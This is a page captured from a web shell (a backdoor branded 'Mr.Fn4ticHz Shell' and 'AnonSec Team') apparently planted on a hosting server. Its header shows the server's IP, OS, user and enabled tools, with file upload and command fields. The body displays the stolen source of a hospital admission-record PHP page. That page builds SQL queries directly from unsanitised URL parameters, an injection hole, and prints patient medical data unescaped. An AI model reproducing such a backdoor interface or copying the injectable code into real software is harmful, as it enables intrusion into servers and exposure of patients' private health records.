Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.131.212
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//admissionshow.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include("header.php");
include 'dashboarddocument.php';
?>
<form>
 <div class="content-wrapper">
<section id="memo">
        <div class="logo">
            <?php
            $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
            $sql ="SELECT * FROM hco WHERE adminid='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
			{
		 $sql ="SELECT * FROM admin WHERE id='$rs[adminid]'";
		$qsql = mysqli_query($con,$sql);
		if($ra = mysqli_fetch_array($qsql))
		{
			    echo"
          <img data-logo='' src='uploads/$rs[Logo]' />
     
        </div>
              <div class='company-info'>
          <div>$ra[hsname]</div>
          <div>
        <span style='font-size:18px'>$rs[Street]&nbsp;|&nbsp;$rs[Locality]</br>$ra[EmailID]&nbsp;|&nbsp; $ra[numbers]</p></span>
            </div>
   ";           
		}
		    
		}
          ?>
    <br>
      </section>

<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "

                  
    
     <table id='example2' class='table table-bordered table-hover'>
     <div class='card-header d-flex p-0'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Vulnerability Assessment:: </td>
<td width='50%'>$rs[Type_of_Admission]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Reason for Admission :  </td>
<td width='50%'>$rs[Reason_for_Admission]</td>
</tr>
</table>
";
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[MLC])
{
?>  <div id="mmenu">
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h2 align='center'>MLC Checklist</h2>
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC No: </td>
<td width='50%'>$rs[MLC_No]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC Slip : </td>
<td width='50%'>$rs[Upload_MLC_Slip]</td>
</tr>
</table>
";
}
?>
	  <?php
}
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[Trauma])
{
?>  <div id="mmenu">
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h2 align='center'>Trauma Care Checklist</h2>
<h5>Immediately after primary & secondary surveys</h5> 
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'> 
Is Further Airway Intervention Needed? :  </td>
<td width='50%'>$rs[further] </td>
</tr>
<tr>
<td width='50%'>Is There A Tension Pneumo-Haemothorax ? :  </td>
<td width='50%'>$rs[Pneumo_Haemothorax] </td>
</tr>
<tr>
<td width='50%'>IS The Pulse and Fluids Started ? : </td>
<td width='50%'>$rs[Fluids_Started]  </td>
</tr>
<tr>
<td width='50%'>Large-bore IV placed and fluids started : </td>
<td width='50%'>$rs[iv_fluids_started] </td>
</tr>
<tr>
<td width='50%'>Full Survey For (and control of)External bleeding, Including: </td>
<td width='50%'>$rs[Full_Survey]&nbsp; | $rs[Perineum]&nbsp; | $rs[Back] </td>
</tr>
<tr>
<td width='50%'>Assessed For Pelvic Fracture by : </td>
<td width='50%'>$rs[Pelvic_Fracture] </td>
</tr>
<tr>
<td width='50%'>Assessed For Internal Bleeding By: </td>
<td width='50%'>$rs[Internal_Bleeding] </td>
</tr>
<tr>
<td width='50%'>Is Spinal Immobilization Needed? : </td>
<td width='50%'>$rs[Spinal_Immobilization] </td>
</tr>
<tr>
<td width='50%'>Neurovascular Status of all 4 limbs Checked? : </td>
<td width='50%'>$rs[Neurovascular_Status] </td>
</tr>
<tr>
<td width='50%'>IS the patient Hypothermic? :</td>
<td width='50%'>$rs[Hypothermic]  </td>
</tr>
<tr>
<td width='50%'>Does the Patient Need(if no contraindication) :</td>
<td width='50%'>$rs[contraindication]|&nbsp;$rs[Nasogastric_Tube]|&nbsp;$rs[Chest_Drain]|&nbsp;$rs[None_Indicated]|&nbsp;</td>
</tr>
<tr>
<td width='50%'>Has the Patient been Given :</td>
<td width='50%'>$rs[leaves_patient]|&nbsp;$rs[Analgesics]|&nbsp;$rs[Antibiotics],&nbsp;$rs[None_Indicated]|&nbsp;</td>
</tr>
<tr>
<td width='50%'>Have All tests and imaging been Reviewed :</td>
<td width='50%'>$rs[tests_imaging]  </td>
</tr>
<tr>
<td width='50%'>Which serial Examinations Are Needed:</td>
<td width='50%'>$rs[Examinations]  </td>
</tr>
<tr>
<td width='50%'>Plan of care discussed with :</td>
<td width='50%'>$rs[care_discussed]|&nbsp;$rs[Receiving_Unit]|&nbsp; $rs[Primary_team]|&nbsp; $rs[Other_Specialists]  </td>
</tr>
<tr>
<td width='50%'>Relevant Trauma Chart or Form Comleted? :</td>
<td width='50%'>$rs[Trauma_Chart]  </td>
</tr>
<tr>
<td width='50%'>Trauma Slip :</td>
<td width='50%'>$rs[Trauma_Slip]  </td>
</tr>
</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		?>
	
		 	  <?php
}
}
?>

<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>Information Obtained from  :</td>
<td width='50%'>$rs[Information_Obtained_from]  </td>
</tr>
<tr>
<td width='50%'>General Consent Signed Copy  :</td>
<td width='50%'>$rs[Upload_Consent]  </td>
</tr>
";
}
?>
<tr>
	<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['ID_Band_tied'];
if($usertype == 'on'){
    echo "<td width='50%'>Patient Identification Band tied: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'>Patient Identification Band tied: </td> <td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>

    
</tr>
<tr>
	<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Rights_Responsibilities'];
if($usertype == 'on'){
    echo "<td width='50%'>Patient Rights & Responsibilities explained: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'>Patient Rights & Responsibilities explained: </td> <td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>

</tr>
<tr>
    	<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['surroundings_safety'];
if($usertype == 'on'){
    echo "<td width='50%'>Patient Made aware of surroundings and safety measures: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'>Patient Made aware of surroundings and safety measures: </td> <td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>
</tr>
<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo"
<tr>
<td width='50%'>Level of Consciousness  :</td>
<td width='50%'>$rs[Level_Consciousness]  </td>
</tr>
<tr>
<td width='50%'>Dependency  :</td>
<td width='50%'>$rs[Dependency]  </td>
</tr>
<tr>
<td width='50%'>Mode of Movement  :</td>
<td width='50%'>$rs[Modn]  </td>
</tr>
<tr>
<td width='50%'>Vulnevilty Assessment :</td>
<td width='50%'>$rs[Vulnevilty_Assessment]  </td>
</tr>
<tr>
<td width='50%'>Pain Assessment :</td>
<td width='50%'>$rs[Pain_Assessment]  </td>
</tr>
<tr>
<td width='50%'>Pain Location :</td>
<td width='50%'>$rs[Pain_Location]  </td>
</tr>
";
}
?>
<tr>

	<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['fall_risk'];
if($usertype == 'on'){
    echo "<td width='50%'>Fall Risk: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>

</tr>
</table>

<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rt[Addiction])
{
?>
<div id='mmenu'>
<h2 align='center'>Addiction </h2>
<table id='example2' class='table table-bordered table-hover'>
	<tr>	<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Tobacco'];
if($usertype == 'on'){
    echo "<td width='50%'>Tobacco: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'>Tobacco: </td><td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?> 
</tr>
<tr>
		<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Alcohol'];
if($usertype == 'on'){
    echo "<td width='50%'>Alcohol: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>
</tr>
<tr>
		<?php
$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Smoking'];
if($usertype == 'on'){
    echo "<td width='50%'>Smoking: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>
</tr>

	
		 	  <?php
}
}
?>

	
			</div>
	
	</table>
	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rt[Chief_Complain])
{
?>
<div id='mmenu'>
<h2 align='center'>Chief Complain </h2>
<table id='example2' class='table table-bordered table-hover'>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Fever'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Fever: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['smell'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Loss of Smell: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Diarrhoea'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Diarrhoea: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Deformity'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Facial Deformity: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Cough'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Cough: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Taste'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Taste: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Weakness'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Weakness: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Breathlessness'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Breathlessness: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Appetite'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Appetite: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Limbs'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Power Loss in Limbs: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Throat'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Sore Throat : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>


<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Vomitting'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Vomitting : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Slurred_Voice'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Slurred Voice: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
</table>
	 	  <?php
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"  <table id='example2' class='table table-bordered table-hover'>
    <tr><td>Admitted Under</td><td>$rs[Admitted_Under]</td></tr>
    <tr><td>Attending Nurse</td><td>$rs[Attending_Nurse]</td></tr>
	";
		}
		?>
		</table><h2 align="center">Vitals</h2>
       <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th>Wt </th>
          <th>SPo2 </th> 
          <th>RBS    </th>
           <th>Temp</th>
            <th>Pulse</th>
             <th>BP</th>
                               </tr>
                  </thead>
                 <tr><?php
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$rs[Wt]</td>     
            <td>&nbsp;$rs[SPo2]</td>
             <td>&nbsp;$rs[RBS]</td>     
            <td>&nbsp;$rs[Temp]</td>
			 <td>&nbsp;$rs[Pulse]</td>     
            <td>&nbsp;$rs[BP2]/$rs[BP]</td>	
                  
          
          ";
}
?>    
       </tr>
                  </thead>
                  
				

                   </tbody>

        </table>
	

		  <h2 align="center">Past  Medical History </h2>
          
          <table id="example2" class="table table-bordered table-hover">
                  <thead>
                 
<tr><th>Medical Condition</th><th>Status</th></tr>

			 <?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon]</td>     
            <td>&nbsp;$rs[Status]</td>
				
          </tr>                   
          
          ";
}
?>          
         
		</table>
		
		<?php
  	$sql ="SELECT * FROM Admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"  <table id='example2' class='table table-bordered table-hover'>
    <tr><td>Admission diagnosis</td><td>$rs[Admission_diagnosis]</td></tr>
    <tr><td>Operative procedure date</td><td>$rs[procedure_date]</td></tr>
	";
		}
		?>
		</table>
			  <h2 align="center">Investigation</h2>
		<table id="example2"  id ="demo" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  <div id="listingTable">
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Date Time</strong></th>
         <th><strong>Investigation</strong></th>
          <th><strong>Result</strong></th> 
          <th><strong>Evidence (Upload)</strong></th>
                       </tr>
                  </thead>
                  
               
                 
<?php
			$sql ="SELECT * FROM investigation WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[created_at]</td>     
            <td>&nbsp;$rs[Investigation]</td>
           <td>&nbsp;$rs[Result]</td>
		   <td>&nbsp;$rs[Evidence]</td>
		

	
          </tr>                   
          
          ";
}
?>  

</tbody>
</table>
 <h2 align="center">Medicine</h2>
<table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
     
         <th><strong>Drug </strong></th>
          <th><strong>Dose in MG</strong></th> 
          <th><strong> Route</strong></th> 
           <th><strong>Frequency </strong></th>
             <th><strong>Duration</strong></th>
                </tr>
                  </thead>
                 
<?php
		$sql ="SELECT * FROM medication WHERE patientid='$_GET[patientid]' AND poa='Request_for_admission' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                               
     <tr>   <td>&nbsp;$rs[drug]</td>     
            <td>&nbsp;$rs[dose]</td>
             <td>&nbsp;$rs[Route]</td>
            <td>&nbsp;$rs[Frequency]</td>
		   <td>&nbsp;$rs[duration]</td>	
          </tr>                   
          
          ";
}
?>          </tr>
                  </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table>
        <br>
<table id="example2" class="table table-bordered table-hover">
        <?php
		$sql ="SELECT * FROM potential WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                               
     <tr>  <td>Potential side effect</td>
      <td>$rsp[Potential_Side_Effects]</td>
      </tr><tr>
       <td>Alternative Mode of Treatment</td>
      <td>$rsp[Mode_Treatment]</td>
          </tr>   
          <tr>
       <td>Follow-up Date</td>
      <td>$rsp[follow_up]</td>
          </tr> 
            <tr>
       <td>Available Treatment Facility Options</td>
      <td>$rsp[treatment_Facility]</td>
          </tr>
            <tr>
       <td>Options for Second Opinious</td>
      <td>$rsp[Second_Opinious]</td>
          </tr>
             <tr>
       <td>Referral to Higher Center for Better Care</td>
      <td>$rsp[Referral_Higher_Center]</td>
          </tr>
              
          ";
}
?>          </tr>
                  </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table>
		</form>
			</div>
	 <head>

               <style>
 
h2 {
  color: #4287f5;
}
a img {
  border: none;
}

#memo {
  padding-top: 50px;
  margin: 0 20px 0 60px;
  border-bottom: 1px solid #ddd;
  height: 150px;
}
#memo .logo {
  float: left;
  margin-right: 20px;
}
#memo .logo img {
  width: 150px;
  height: 100px;
}
#memo .company-info {
  float: right;
  text-align: right;
}
#memo .company-info > div:first-child {

  font-weight: bold;
  font-size: 22px;
  color: #1e73be;
}
#memo .company-info span {
  font-size: 11px;
  min-width: 20px;
}

</style>
<script>$(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });</script>

Anon7 - 2022
AnonSec Team